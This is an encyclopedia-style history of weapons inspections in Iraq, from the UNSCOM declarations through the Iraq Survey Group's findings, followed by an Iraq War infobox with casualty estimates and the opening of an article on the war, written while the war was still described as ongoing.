          In April of 1991 Iraq provided its first of what would be several declarations of its chemical weapons programs. Subsequent declarations submitted by Iraq in June 1992 , March 1995, June 1996 came only after after pressure from UNSCOM. In February of 1998 , UNSCOM unanimously determined that after seven years of attempts to establish the extent of Iraqs chemical weapons programs, that Iraq had still not given the Commission sufficient information for them to conclude that Iraq had undertaken all the disarmament steps required by the UNSC resolutions concerning chemical weapons.


          In August of 1991 Iraq had declared to the UNSCOM biological inspection team that it did indeed have a biological weapons program but that it was for defensive purposes. Iraq then provided its first biological weapons declaration shortly after. After UNSCOM determined such declarations to be incomplete, more pressure was placed on Iraq to declare fully and completely. A second disclosure of the biological weapons came in March 1995 however after UNSCOM's investigations and the discovery of inreffutable evidence, Iraq was now forced to admit for the fist time the existence of an offensive biological weapons program. But Iraq still denied weaponization. Further UNSCOM pressure resulted in a third prohibited biological weapons disclosure from Iraq in August of 1995. Only after General Hussein Kamel, Minister of Industry and Minerals and former Director of Iraq's Military Industrialization Corporation, with responsibility for all of Iraq's weapons programs, fled Iraq for Jordan, Iraq was forced to reveal that its biological warfare program was much more extensive than was previously admitted and that the program included weaponization. At it was at this time that Iraq admitted that it had achieved the ability to produce longer-range missiles than had previously been admitted to. At this point Iraq provides UNSCOM and IAEA with more documentation that turns out Hussein Kamel had hidden on chicken farm. These documents gave futher revelation to Iraqs development of VX gas and its attempts to develop and nuclear weapon. More declarations would follow in June of 1996 and September of 1997. However in April and July of 1998 the biological weapons team and UNSCOM Executive Chairman assessed that Iraqs declarations were as of yet unverifiable and incomplete and inadequate, seven years after the first declarations were given in 1991. .


          In August 1998, Ritter resigned his position as UN weapons inspector and sharply criticized the Clinton administration and the U.N. Security Council for not being vigorous enough about insisting that Iraq's weapons of mass destruction be destroyed. Ritter also accused U.N. Secretary General Kofi Annan of assisting Iraqi efforts at impeding UNSCOM's work. "Iraq is not disarming", Ritter said on August 27, 1998, and in a second statement, "Iraq retains the capability to launch a chemical strike." In 1998 the UNSCOM weapons inspectors were withdrawn from Iraq. They were not expelled from the country by Iraq as has often been reported (and as George W. Bush alleged in his "axis of evil" speech). Rather, according to Butler himself in his book Saddam Defiant, it was U.S. Ambassador Peter Burleigh, acting on instructions from Washington, who suggested Butler pull his team from Iraq in order to protect them from the forthcoming U.S. and British airstrikes which eventually took place from December 16- December 19, 1998.


          


          Between inspections: 1998-2002


          In August, 1998, absent effective monitoring, Scott Ritter remarked that Iraq could "reconstitute chemical biological weapons, long-range ballistic missiles to deliver these weapons, and even certain aspects of their nuclear weaponization program."


          Ritter later accused some UNSCOM personnel of spying, and he strongly criticized the Bill Clinton administration for misusing the commission's resources to eavesdrop on the Iraqi military.


          In June, 1999, Ritter responded to an interviewer, saying: "When you ask the question, 'Does Iraq possess militarily viable biological or chemical weapons?' the answer is no! It is a resounding NO. Can Iraq produce today chemical weapons on a meaningful scale? No! Can Iraq produce biological weapons on a meaningful scale? No! Ballistic missiles? No! It is 'no' across the board. So from a qualitative standpoint, Iraq has been disarmed. Iraq today possesses no meaningful weapons of mass destruction capability."


          In June 2000, he penned a piece for Arms Control Today entiled The Case for Iraq's Qualitative Disarmament. 2001 saw the theatrical release of his documentary on the UNSCOM weapons inspections in Iraq, In Shifting Sands: The Truth About Unscom and the Disarming of Iraq. The film was funded by an Iraqi-American businessman who, unknown to Ritter, had received Oil-for-Food coupons from the Iraqi regime.


          In 2002, Scott Ritter stated that, as of 1998, 9095% of Iraq's nuclear, biological and chemical capabilities, and long-range ballistic missiles capable of delivering such weapons, had been verified as destroyed. Technical 100% verification was not possible, said Ritter, not because Iraq still had any hidden weapons, but because Iraq had preemptively destroyed some stockpiles and claimed they had never existed. Many people were surprised by Ritter's turnaround in his view of Iraq during a period when no inspections were made. During the 20022003 build-up to war Ritter criticized the Bush administration and maintained that it had provided no credible evidence that Iraq had reconstituted a significant WMD capability. In an interview with Time in September 2002 Ritter said there were attempts to use UNSCOM for spying on Iraq.


          UNSCOM encountered various difficulties and a lack of cooperation by the Iraqi government. In 1998, UNSCOM was withdrawn at the request of the United States before Operation Desert Fox. Despite this, UNSCOM's own estimate was that 90-95% of Iraqi WMDs had been successfully destroyed before its 1998 withdrawal. After that Iraq remained without any outside weapons inspectors for four years. During this time speculations arose that Iraq had actively resumed its WMD programmes. In particular, various figures in the George W. Bush administration as well as Congress went so far as to express concern about nuclear weapons.


          There is dispute about whether Iraq still had WMD programs after 1998 and whether its cooperation with the United Nations Monitoring, Verification and Inspection Commission (UNMOVIC) was complete. Chief weapons inspector Hans Blix said in January 2003 that "access has been provided to all sites we have wanted to inspect" and Iraq had "cooperated rather well" in that regard, although "Iraq appears not to have come to a genuine acceptance of the disarmament." On March 7, in an address to the Security Council, Hans Blix stated: "Against this background, the question is now asked whether Iraq has cooperated "immediately, unconditionally and actively" with UNMOVIC, as is required under paragraph 9 of resolution 1441 (2002)..... while the numerous initiatives, which are now taken by the Iraqi side with a view to resolving some long-standing open disarmament issues, can be seen as "active", or even "proactive", these initiatives 3-4 months into the new resolution cannot be said to constitute "immediate" cooperation. Nor do they necessarily cover all areas of relevance." Some US officials understood this contradictory statement as a declaration of noncompliance.


          There were no weapon inspections in Iraq for nearly four years after the U.N. departed from Iraq in 1998, and Iraq asserted that they would never be invited back. In addition, Saddam had issued a secret order that Iraq did not have to abide by any U.N. Resolution since in his view the U.S. had broken international law.


          In 2001 Saddam stated that "we are not at all seeking to build up weapons or look for the most harmful weapons . . . however, we will never hesitate to possess the weapons to defend Iraq and the Arab nation". The International Institute for Strategic Studies in Britain published in September 2002 a review of Iraq's military capability, and concluded that Iraq could assemble nuclear weapons within months if fissile material from foreign sources were obtained. However, it concluded that without such foreign sources, it would take years at a bare minimum. The numbers were viewed as overly optimistic by many critics (such as the Federation of American Scientists and the Bulletin of the Atomic Scientists).


          


          Prelude
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          In late 2002 Saddam Hussein, in a letter to Hans Blix, invited UN weapons inspectors back into the country. Subsequently the Security Council issued resolution 1441 authorizing new inspections in Iraq. The carefully-worded U.N. resolution put the burden on Iraq, not U.N. inspectors, to prove that they no longer had weapons of mass destruction. The US claimed that Iraq's weapons report which was filed with the U.N. leaves weapons and materials unaccounted for; the Iraqis claimed that it was destroyed, something that had been confirmed years earlier by Iraq's highest profile defector, Hussein Kamel. According to reports from the previous U.N. inspection agency, UNSCOM, Iraq produced 600 metric tons of chemical agents, including mustard gas, VX and sarin, and nearly 25,000 rockets and 15,000 artillery shells, with chemical agents, that are still unaccounted for. In fact, in 1995, Iraq told the United Nations that it had produced at least 30,000 liters of biological agents, including anthrax and other toxins it could put on missiles, but that all of it had been destroyed.


          In January 2003, United Nations weapons inspectors reported that they had found no indication that Iraq possessed nuclear weapons or an active program. Some former UNSCOM inspectors disagree about whether the United States could know for certain whether or not Iraq had renewed production of weapons of mass destruction. Robert Gallucci said, "If Iraq had [uranium or plutonium], a fair assessment would be they could fabricate a nuclear weapon, and there's no reason for us to assume we'd find out if they had." Similarly, former inspector Jonathan Tucker said, "Nobody really knows what Iraq has. You really can't tell from a satellite image what's going on inside a factory." However, Hans Blix said in late January 2003 that Iraq had "not genuinely accepted U.N. resolutions demanding that it disarm." He claimed there were some materials which had not been accounted for. Since sites had been found which evidenced the destruction of chemical weaponry, UNSCOM was actively working with Iraq on methods to ascertain for certain whether the amounts destroyed matched up with the amounts that Iraq had produced. In the next quarterly report, after the war, the total amount of proscribed items destroyed by UNMOVIC in Iraq can be gathered. Those include:


          
            	50 deployed Al-Samoud 2 missiles


            	Various equipment, including vehicles, engines and warheads, related to the AS2 missiles


            	2 large propellant casting chambers


            	14 155 mm shells filled with mustard gas, the mustard gas totaling approximately 49 litres and still at high purity


            	Approximately 500 ml of thiodiglycol


            	Some 122 mm chemical warheads


            	Some chemical equipment


            	224.6 kg of expired growth media

          


          Scott Ritter stated that the WMDs Saddam had in his possession all those years ago has long since turned to harmless substances. Sarin and tabun have a shelf life of five years, VX lasts a bit longer (but not much longer), and finally botulinum toxin and liquid anthrax last about three years. On March 7, 2003, Hans Blix's last report to the UN security Council prior to the US led invasion of Iraq, described Iraq as actively and proactively cooperating with UNMOVIC, though not necessarily in all areas of relevance and had been frequently uncooperative in the past, but that it was within months of resolving key remaining disarmament tasks.


          


          Legal justification


          On 17 March 2003, Peter Goldsmith, Attorney General of the UK, set out his government's legal justification for an invasion of Iraq. He said that Security Council resolution 678 authorised force against Iraq, which was suspended but not terminated by resolution 687, which imposed continuing obligations on Iraq to eliminate its weapons of mass destruction. A material breach of resolution 687 would revive the authority to use force under resolution 678. In resolution 1441 the Security Council determined that Iraq was in material breach of resolution 687 because it had not fully carried out its obligations to disarm. Although resolution 1441 had given Iraq a final chance to comply, UK Attorney General Goldsmith wrote "it is plain that Iraq has failed so to comply". Most member governments of the United Nations Security Council made clear that after resolution 1441 there still was no authorization for the use of force. Indeed, at the time 1441 was passed, both the US and UK representatives stated explicitly that 1441 contained no provision for military action. As the New York Times noted about the negotiations,


          
            'There's no 'automaticity' and this is a two-stage process, and in that regard we have met the principal concerns that have been expressed for the resolution, [stated US ambassador Negroponte at the time] Whatever violation there is, or is judged to exist, will be dealt with in the council, and the council will have an opportunity to consider the matter before any other action is taken.

          


          The British ambassador to the UN, Sir Jeremy Greenstock concurred,


          
            We heard loud and clear during the negotiations the concerns about "automaticity" and "hidden triggers" - the concern that on a decision so crucial we should not rush into military action; that on a decision so crucial any Iraqi violations should be discussed by the Council. Let me be equally clear in response, as one of. the co-sponsors of the text we have adopted. There is no "automaticity" in this Resolution.

          


          The UN itself never had the chance to declare that Iraq had failed to take its "final opportunity" to comply as the US invasion made it a moot point. American President George W. Bush stated that Saddam Hussein had 48 hours to step down and leave Iraq. As the deadline approached, the US announced that forces would be sent to verify his disarmament and a transition to a new government.


          


          Coalition expanded intelligence


          On May 30, 2003, Paul Wolfowitz stated in an interview with Vanity Fair magazine that the issue of weapons of mass destruction was the point of greatest agreement among Bush's team among the reasons to remove Saddam Hussein from power. He said, "The truth is that for reasons that have a lot to do with the U.S. government bureaucracy, we settled on the one issue that everyone could agree on, which was weapons of mass destruction as the core reason, but, there have always been three fundamental concerns. One is weapons of mass destruction, the second is support for terrorism, the third is the criminal treatment of the Iraqi people. Actually I guess you could say there's a fourth overriding one which is the connection between the first two." The same day, General James T. Conway, senior Marine commander in Iraq, expressed similar thoughts in a satellite interview with reporters at the Pentagon. "It was to do with information management. The intention was to dramatise it."


          In an interview with BBC in June 2004, David Kay, former head of the Iraq Survey Group, made the following comment:


          
            	"Anyone out there holding  as I gather Prime Minister Blair has recently said  the prospect that, in fact, the Iraq Survey Group is going to unmask actual weapons of mass destruction, [is] really delusional."

          


          On 4 June 2003, U.S. Senator Pat Roberts announced that the U.S. Select Committee on Intelligence that he chaired would, as a part of its ongoing oversight of the intelligence community, conduct a Review of intelligence on Iraqi weapons of mass destruction. On 9 July 2004, the Committee released the Senate Report of Pre-war Intelligence on Iraq. On July 17, 2003, the British Prime Minister Tony Blair said in an address to the US congress, that history would forgive the United States and United Kingdom, even if they were wrong about weapons of mass destruction. He still maintained that "with every fibre of instinct and conviction" Iraq did have weapons of mass destruction.


          On 3 February 2004, British Foreign Secretary Jack Straw announced an independent inquiry, to be chaired by Lord Butler of Brockwell, to examine the reliability of British intelligence relating to alleged weapons of mass destruction in Iraq. The Butler Review was published 14 July 2004.


          In the build up to the 2003 war the New York Times published a number of stories claiming to prove that Iraq possessed WMD. One story in particular, written by Judith Miller helped persuade the American public that Iraq had WMD: in September 2002 she wrote about an intercepted shipment of aluminium tubes which the NYT said were to be used to develop nuclear material. It is now clear that they could not be used for that purpose. The story was followed up with television appearances by Colin Powell, Donald Rumsfeld and Condoleezza Rice all pointing to the story as part of the basis for taking military action against Iraq. Miller's sources were introduced to her by Ahmed Chalabi, an Iraqi exile favourable to a US invasion of Iraq. Miller is also listed as a speaker for The Middle East Forum, an organization which openly declared support for an invasion. In May 2004 the New York Times published an editorial which stated that its journalism in the build up to war had sometimes been lax. It appears that in the cases where Iraqi exiles were used for the stories about WMD were either ignorant as to the real status of Iraq's WMD or lied to journalists to achieve their own ends.


          Despite the intelligence lapse, Bush stood by his decision to invade Iraq stating:


          
            	But what wasn't wrong was Saddam Hussein had invaded a country, he had used weapons of mass destruction, he had the capability of making weapons of mass destruction, he was firing at our pilots. He was a state sponsor of terror. Removing Saddam Hussein was the right thing for world peace and the security of our country.

          


          In a speech before the World Affairs Council of Charlotte, NC, on April 7, 2006, President Bush stated that he "fully understood that the intelligence was wrong, and [he was] just as disappointed as everybody else" when U.S. troops failed to find weapons of mass destruction in Iraq.


          Intelligence shortly before the 2003 invasion of Iraq was heavily used as support arguments in favour of military intervention with the October 2002 C.I.A. report on Iraqi WMDs considered to be the most reliable one available at that time.


          "According to the CIA's report, all U.S. intelligence experts agree that Iraq is seeking nuclear weapons. There is little question that Saddam Hussein wants to develop nuclear weapons." Senator John Kerry (D-Mass.) - Congressional Record, October 9, 2002


          On May 29, 2003, Andrew Gilligan appears on the BBC's Today program early in the morning. Among the contentions he makes in his report are that the government "ordered (the September Dossier, a British Government dossier on WMD) to be sexed up, to be made more exciting, and ordered more facts to be...discovered." The broadcast is not repeated.


          On May 27, 2003, a secret Defense Intelligence Agency fact-finding mission in Iraq reported unanimously to intelligence officials in Washington that two trailers captured in Iraq by Kurdish troops "had nothing to do with biological weapons." The trailers had been a key part of the argument for the 2003 invasion; Secretary of State Colin Powell had told the United Nations Security Council, "We have firsthand descriptions of biological weapons factories on wheels and on rails. We know what the fermenters look like. We know what the tanks, pumps, compressors and other parts look like." The Pentagon team had been sent to investigate the trailers after the invasion. The team of experts unanimously found "no connection to anything biological"; one of the experts told reporters that they privately called the trailers "the biggest sand toilets in the world." The report was classified, and the next day, the CIA publicly released the assessment of its Washington analysts that the trailers were "mobile biological weapons production." The White House continued to refer to the trailers as mobile biological laboratories throughout the year, and the Pentagon field report remained classified. It is still classified, but a Washington Post report of 12 April 2006 disclosed some of the details of the report. According to the Post:


          
            	A spokesman for the DIA asserted that the team's findings were neither ignored nor suppressed, but were incorporated in the work of the Iraqi Survey Group, which led the official search for Iraqi weapons of mass destruction. The survey group's final report in September 2004 -- 15 months after the technical report was written -- said the trailers were "impractical" for biological weapons production and were "almost certainly intended" for manufacturing hydrogen for weather balloons. "No one was more surprised than I that we didn't find (WMDs)." General Tommy Franks December 2, 2005.

          


          On 6 February 2004, U.S. President George W. Bush named an Iraq Intelligence Commission, chaired by Charles Robb and Laurence Silberman, to investigate United States intelligence, specifically regarding the 2003 invasion of Iraq and Iraq's weapons of mass destruction. On 8 February 2004, Dr Hans Blix, in an interview on BBC TV, accused the US and British governments of dramatising the threat of weapons of mass destruction in Iraq, in order to strengthen the case for the 2003 war against the government of Saddam Hussein.


          


          Iraq Survey Group


          On 30 May 2003, The U.S. Department of Defense briefed the media that it was ready to formally begin the work of the Iraq Survey Group (ISG), a fact finding mission from the coalition of the Iraq occupation into the WMD programs developed by Iraq, taking over from the British-American 75th Exploitation Task Force.


          On October 6, 2004, the head of the Iraq Survey Group (ISG), Charles Duelfer, announced to the United States Senate Armed Services Committee that the group found no evidence that Iraq under Saddam Hussein had produced and stockpiled any weapons of mass destruction since 1991, when UN sanctions were imposed.


          Various nuclear facilities, including the Baghdad Nuclear Research Facility and Tuwaitha Nuclear Research Centre, were found looted in the month following the invasion. (Gellman, 3 May 2003) On June 20, 2003, the International Atomic Energy Agency reported that tons of uranium, as well as other radioactive materials such as thorium, had been recovered, and that the vast majority had remained on site. There were several reports of radiation sickness in the area. It has been suggested that the documents and suspected weapons sites were looted and burned in Iraq by looters in the final days of the war.


          On May 2, 2004 a shell containing mustard gas, was found in the middle of street west of Baghdad. The Iraq Survey Group investigation reported that it had been previously "stored improperly", and thus the gas was "ineffective" as a useful chemical agent. Officials from the Defense Department commented that they were not certain if use was to be made of the device as a bomb.


          On May 16, 2004 a 152 mm artillery shell was used as an improvised bomb.(" Iraq's Chemical Warfare Program Annex F". Retrieved on 2005- 06-29.) The shell exploded and two U.S. soldiers were treated for minor exposure to a nerve agent (nausea and dilated pupils). On May 18 it was reported by U.S. Department of Defense intelligence officials that tests showed the two-chambered shell contained the chemical agent sarin, the shell being "likely" to have contained three to four liters of the substance (in the form of its two unmixed precursor chemicals prior to the aforementioned explosion that had not effectively mixed them). Former U.S. weapons inspector David Kay told the Associated Press that "he doubted the shell or the nerve agent came from a hidden stockpile, although he didn't rule out that possibility." Kay also considered it possible that the shell was "an old relic overlooked when Saddam said he had destroyed such weapons in the mid-1990s." It is likely that the insurgents who planted the bomb did not know it contained sarin, according to Brig. Gen. Mark Kimmitt, and another U.S. official confirmed that the shell did not have the markings of a chemical agent. The Iraq Survey Group later concluded that the shell "probably originated with a batch that was stored in a Al Muthanna CW complex basement during the late 1980s for the purpose of leakage testing." (" Iraq's Chemical Warfare Program Annex F". Retrieved on 2005- 06-29.)


          On 29 October U.S. intelligence spokesmen claimed that Iraqi WMDs and programs had been comprehensively hidden before or immediately after the fall of Baghdad, with some elements of the programs being shipped out of the country.


          In a July 2, 2004 article published by The Associated Press and reported by Fox News that more WMD not destroyed by the Iraqi Regime were discovered in South Central Iraq by Polish Allies. Sarin Gas warheads dating back to the last Iran-Iraq war were trying to be purchased by terrorists for $5000 a warhead. The Polish troops secured munitions on June 23, 2004. After being tested, it turned out that the warheads did not in fact contain sarin gas. The Coalition Press Information Centre in Baghdad announced that the munitions "were all empty and tested negative for any type of chemicals." The US abandoned its search for WMDs in Iraq on January 12, 2005.


          On September 30, 2004, the U.S. Iraq Survey Group Final Report concluded that, "ISG has not found evidence that Saddam Husayn (sic) possessed WMD stocks in 2003, but the available evidence from its investigationincluding detainee interviews and document exploitationleaves open the possibility that some weapons existed in Iraq although not of a militarily significant capability." Among the key findings of the final ISG report were:


          
            	Evidence of the maturity and significance of the pre-1991 Iraqi Nuclear Program but found that Iraq's ability to reconstitute a nuclear weapons program progressively decayed after that date;


            	Concealment of nuclear program in its entirety, as with Iraq's BW program. Aggressive UN inspections after Desert Storm forced Saddam to admit the existence of the program and destroy or surrender components of the program;


            	After Desert Storm, Iraq concealed key elements of its program and preserved what it could of the professional capabilities of its nuclear scientific community;


            	Saddam's ambitions in the nuclear area were secondary to his prime objective of ending UN sanctions; and


            	A limited number of post-1995 activities would have aided the reconstitution of the nuclear weapons program once sanctions were lifted.

          


          The report found that "The ISG has not found evidence that Saddam possessed WMD stocks in 2003, but [there is] the possibility that some weapons existed in Iraq, although not of a militarily significant capability." It also concluded that there was a possible intent to restart all banned weapons programs as soon as multilateral sanctions against it had been dropped, with Hussein pursuing WMD proliferation in the future: "There is an extensive, yet fragmentary and circumstantial, body of evidence suggesting that Saddam pursued a strategy to maintain a capability to return to WMD after sanctions were lifted..." No senior Iraqi official interviewed by the ISG believed that Saddam had forsaken WMD forever.


          After he was captured by U.S. forces in Baghdad in 2003, Dr. Mahdi Obeidi, who ran Saddam's nuclear centrifuge program until 1997, handed over blueprints for a nuclear centrifuge along with some actual centrifuge components, stored at his home  buried in the front yard  awaiting orders from Baghdad to proceed. He said, "I had to maintain the program to the bitter end." In his book, "The Bomb in My Garden", the Iraqi physicist explains that his nuclear stash was the key that could have unlocked and restarted Saddam's bombmaking program. However, it would require a massive investment and a re-creation of thousands of centrifuges in order to reconstitute a full centrifugal enrichment program.


          On October 3, 2003, the world digests David Kay's Iraq Survey Group report that finds no stockpiles of WMD in Iraq, although it states the government intended to develop more weapons with additional capabilities. Weapons inspectors in Iraq do find some "biological laboratories" and a collection of "reference strains", including a strain of botulinum bacteria, "ought to have been declared to the UN." Kay testifies that Iraq had not fully complied with UN inspections. In some cases, equipment and materials subject to UN monitoring had been kept hidden from UN inspectors. "So there was a WMD program. It was going ahead. It was rudimentary in many areas", Kay would say in a later interview. In other cases, Iraq had simply lied to the UN in its weapons programs. The US-sponsored search for WMD had at this point cost $300 million and was projected to cost around $600 million more.


          In David Kay's statement on the interim report of the ISG the following paragraphs are found:


          "We have not yet found stocks of weapons, but we are not yet at the point where we can say definitively either that such weapon stocks do not exist or that they existed before the war and our only task is to find where they have gone. We are actively engaged in searching for such weapons based on information being supplied to us by Iraqis."


          "With regard to delivery systems, the ISG team has discovered sufficient evidence to date to conclude that the Iraqi regime was committed to delivery system improvements that would have, if OIF had not occurred, dramatically breached UN restrictions placed on Iraq after the 1991 Gulf War."


          "ISG has gathered testimony from missile designers at Al Kindi State Company that Iraq has reinitiated work on converting SA-2 Surface-to-Air Missiles into ballistic missiles with a range goal of about 250 km. Engineering work was reportedly underway in early 2003, despite the presence of UNMOVIC. This program was not declared to the UN."


          "ISG has developed multiple sources of testimony, which is corroborated in part by a captured document, that Iraq undertook a program aimed at increasing the HY-2's range and permitting its use as a land-attack missile. These efforts extended the HY-2's range from its original 100 km to 150-180km. Ten modified missiles were delivered to the military prior to OIF and two of these were fired from Umm Qasr during OIF -- one was shot down and one hit Kuwait."


          Another notable statement is the following:


          "We have discovered dozens of WMD-related program activities and significant amounts of equipment that Iraq concealed from the United Nations during the inspections that began in late 2002."


          The phrase 'WMD-related program activities' was later used in George Bush's state of the union speech. Bush's critics, often not realizing the origin of the statement, derided Bush for unclear wording and trying to "lower the bar" on confirming his pre-war WMD-claims.


          In a January 26, 2004 interview with Tom Brokaw of NBC news, Mr. Kay described Iraq's nuclear, chemical, and biological weapons programs as being in a "rudimentary" stage. He also stated that "What we did find, and as others are investigating it, we found a lot of terrorist groups and individuals that passed through Iraq." In responding to a question by Mr. Brokaw as to whether Iraq was a "gathering threat" as President Bush had asserted before the invasion, Mr. Kay answered:


          
            	Tom, an imminent threat is a political judgment. Its not a technical judgment. I think Baghdad was actually becoming more dangerous in the last two years than even we realized. Saddam was not controlling the society any longer. In the marketplace of terrorism and of WMD, Iraq well could have been that supplier if the war had not intervened.

          


          In June 2004, the United States removed 2 tons of low-enriched uranium from Iraq, sufficient raw material for a single nuclear weapon.


          Since the 2003 invasion of Iraq, several reported finds of chemical weapons were announced. During the invasion itself, there were half a dozen incidents in which the US military announced that it had found chemical weapons. All of these claims were based on field reports, and were later retracted. After the war, many cases  most notably on April 7, 2003 when several large drums tested positive  continued to be reported in the same way.


          Another such post-war case occurred on January 9, 2004, when Icelandic munitions experts and Danish military engineers discovered 36 120-mm mortar rounds containing liquid buried in Southern Iraq. While initial tests suggested that the rounds contained a blister agent, a chemical weapon banned by the Geneva Convention, subsequent analysis by American and Danish experts showed that no chemical agent was present. It appears that the rounds have been buried, and most probably forgotten, since the Iran-Iraq war. Some of the munitions were in an advanced state of decay and most of the weaponry would likely have been unusable.


          Demetrius Perricos, then head of UNMOVIC, stated that the Kay report contained little information not already known by UNMOVIC. Many organizations, such as the journal Biosecurity and Bioterrorism, have claimed that Kay's report is a "worst case analysis"


          Beginning in 2003, the ISG had uncovered remnants of Iraq's 1980s-era WMD programs. On June 21, 2006 Rick Santorum claimed that "we have found weapons of mass destruction in Iraq, chemical weapons", citing a declassified June 6 letter to Pete Hoekstra saying that since the 2003 invasion, a total of "approximately 500 weapons munitions which contain degraded mustard or sarin nerve agent" had been found scattered throughout the country.


          The Washington Post reported that "the U.S. military announced in 2004 in Iraq that several crates of the old shells had been uncovered and that they contained a blister agent that was no longer active." It said the shells "had been buried near the Iranian border, and then long forgotten, by Iraqi troops during their eight-year war with Iran, which ended in 1988."


          On July of 2008, 550 metric tonnes of "yellowcake" the last major remnant of Saddam Hussein's nuclear program, a huge stockpile of concentrated natural uranium, arrived in Montreal as part of a top-secret U.S. operation. This transport of the seed material for higher-grade nuclear enrichment, included a two-week airlift from Baghdad and a voyage across two oceans. The Iraqi government sold the yellowcake to a Canadian uranium producer, Cameco Corp., in a transaction the official described as worth "tens of millions of dollars."


          


          Captured documents


          Operation Iraqi Freedom documents refers to some 48,000 boxes of documents, audiotapes and videotapes that were captured by the U.S. military during the 2003 invasion of Iraq. Many of these documents seem to make clear that Saddam's regime had given up on seeking a WMD capability by the mid-1990s. Associated Press reported, "Repeatedly in the transcripts, Saddam and his lieutenants remind each other that Iraq destroyed its chemical and biological weapons in the early 1990s, and shut down those programs and the nuclear-bomb program, which had never produced a weapon." At one 1996 presidential meeting, top weapons program official Amer Mohammed Rashid, describes his conversation with U.N. weapons inspector Rolf Ekeus: "We don't have anything to hide, so we're giving you all the details." At another meeting Saddam told his deputies, "We cooperated with the resolutions 100 percent and you all know that, and the 5 percent they claim we have not executed could take them 10 years to (verify). Don't think for a minute that we still have WMD. We have nothing." U.S. Congressman Peter Hoekstra called for the U.S. government to put the remaining documents on the Internet so Arabic speakers around the world can help translate the documents.


          


          Theories in the aftermath of the 2003 war


          Given the absence of illicit stockpiles and the heavy volume of traffic leaving Iraq shortly before invasion, some analysts and politicians believe Saddam Hussein may have transferred illicit material out of the country during this period. Other individuals suspect WMD may still be hidden in the country, although there is currently no evidence of this. Mainstream opinion, however, is that there were no significant WMDs in Iraq at the time of the invasion.
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                    Clockwise, starting at top left: a joint patrol in Samarra; the toppling of the Saddam Hussein statue in Firdos Square; an Iraqi Army soldier readies his rifle during an assault; an IED detonates in South Baghdad.
                  


                  
                    	
                      
                        
                          	Date

                          	March 20, 2003  present
                        


                        
                          	Location

                          	Iraq
                        


                        
                          	Status

                          	
                            Conflict ongoing

                            
                              	Occupation of Iraq


                              	Overthrow of Baath Party government and execution of Saddam Hussein.


                              	Humanitarian crisis with human rights abuses, civilian casualties and refugees


                              	Iraqi insurgency and outbreak of civil war.


                              	Widespread infrastructure damage


                              	Privatisation of Iraqi services


                              	Election of a democratic government


                              	Al-Qaeda terror operations in Iraq.
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                    	Strength
                  


                  
                    	
                      Iraqi (under Saddam Hussein):

                      375,000+ regular forces.
                      


                      Post-Baathist government, multi-sided conflict:

                      Sunni Insurgents

                      ~70,000

                      Mahdi Army

                      ~60,000

                      al Qaeda/others

                      1,300+

                    

                    	Coalition

                    ~300,000 invasion

                    ~177,000 current

                    Contractors*

                    ~182,000 (118,000 Iraqi, 43,000 Other, 21,000 US)

                    Kurdish Army

                    50,000 invasion

                    175,000 current

                    New Iraqi Army

                    165,000

                    Iraqi Police

                    227,000

                    Awakening Council militias

                    65,000-80,000
                  


                  
                    	Casualties and losses
                  


                  
                    	
                      Iraqi combatant dead (invasion period): 7,600-10,800
                      


                      Insurgents dead (post-Saddam): 15,947-21,776 per these reports.

                      19,429 per U.S. military ( 26 September 2007)

                      


                      Detainees (Coalition-held): 23,000

                      Detainees (Iraqi Security Forces-held): 37,000

                    

                    	
                      Iraqi Security Forces (post-Saddam, Coalition allies) Police/military killed: 9,685 See: Casualties of the Iraq War

                      Coalition dead (3,945 US, 173 UK, 133 other): 4,251


                      Coalition missing or captured (US): 4


                      Coalition wounded: 28,530 US, ~300 UK


                      Coalition injured, diseased, or other medical:**28,645 US, 1,155 UK.


                      Contractors dead (US 235): 1,015


                      Contractors missing or captured (US 9): 17


                      Contractors wounded & injured: 10,569


                      Awakening Councils:

                      200+ killed

                    
                  


                  
                    	
                      All Iraqi violent deaths, Opinion Research Business. As of August 2007: 1,033,000 (946,000-1,120,000). Causes; gunshots (48%), car bombs (20%), aerial bombing (9%), accidents (6%), another blast/ordnance (6%).

                      ***Total deaths (all excess deaths) Johns Hopkins (Lancet) - As of June 2006: 654,965 (392,979-942,636). 601,027 violent deaths (31% by Coalition, 24% by others, 46% unknown)


                      All Iraqi violent deaths. Iraqi Health Ministry casualty survey for the World Health Organization. As of June 2006: 151,000 (104,000 to 223,000).

                    
                  


                  
                    	* Contractors (U.S. government) perform "highly dangerous duties almost identical to those performed by many U.S. troops."

                    ** "injured, diseased, or other medical" - required medical air transport. UK number includes wounded ("aeromed evacuations").

                    ***Total deaths include all additional deaths due to increased lawlessness, degraded infrastructure, poorer healthcare, etc.

                    For more on casualty estimates, see: Casualties of the Iraq War
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          The Iraq War, also known as the Second Gulf War, Operation Iraqi Freedom, or the occupation of Iraq, is an ongoing conflict which began on March 20, 2003 with the United States-led invasion of Iraq by a multinational coalition composed of U.S. and U.K. troops supported by smaller contingents from Australia, Poland, and other nations.


          The rationale for the invasion offered by U.S. President George W. Bush and coalition supporters included the allegation that Iraq possessed and was actively developing weapons of mass destruction (WMD) in violation of a 1991 agreement. U.S. officials argued that Iraq posed an imminent, urgent, and immediate threat to the United States, its people, allies, and interests. The supporting intelligence was widely criticized, and weapons inspectors found no evidence of WMD. After the invasion, the Iraq Survey Group concluded that Iraq had ended its WMD programs in 1991 and had none at the time of the invasion, but that they intended to resume production if and when the Iraq sanctions were lifted. Although some earlier degraded remnants of misplaced or abandoned WMD were found, they were not the weapons for which the coalition invaded. Some U.S. officials claimed Saddam Hussein and al-Qaeda were cooperating, but no evidence of any collaborative relationship has been found. Other reasons for the invasion stated by officials included concerns about Iraq's financial support for the families of Palestinian suicide bombers, Iraqi government human rights abuses, spreading democracy, and Iraq's oil reserves.


          The invasion led to the quick defeat of the Iraqi army and flight of President Saddam Hussein, his capture in December, 2003, and his execution in December, 2006. The U.S.-led coalition occupied Iraq and attempted to establish a new democratic government. But shortly after the initial invasion, violence against coalition forces and among various sectarian groups led to asymmetric warfare with the Iraqi insurgency, civil war between many Sunni and Shia Iraqis, and al-Qaeda operations in Iraq. Estimates of the number of people killed range from over 150,000 to more than 1 million. The financial cost of the war has been more than $491 billion to the U.S., and over 4.5 billion to the UK. Coalition nations have begun to withdraw troops as public opinion favoring troop withdrawal increases and Iraqi forces begin to take responsibility for security.


          [bookmark: 1991.E2.80.932003:_U.N._inspectors_and_the_no-fly_zones]


          19912003: U.N. inspectors and the no-fly zones


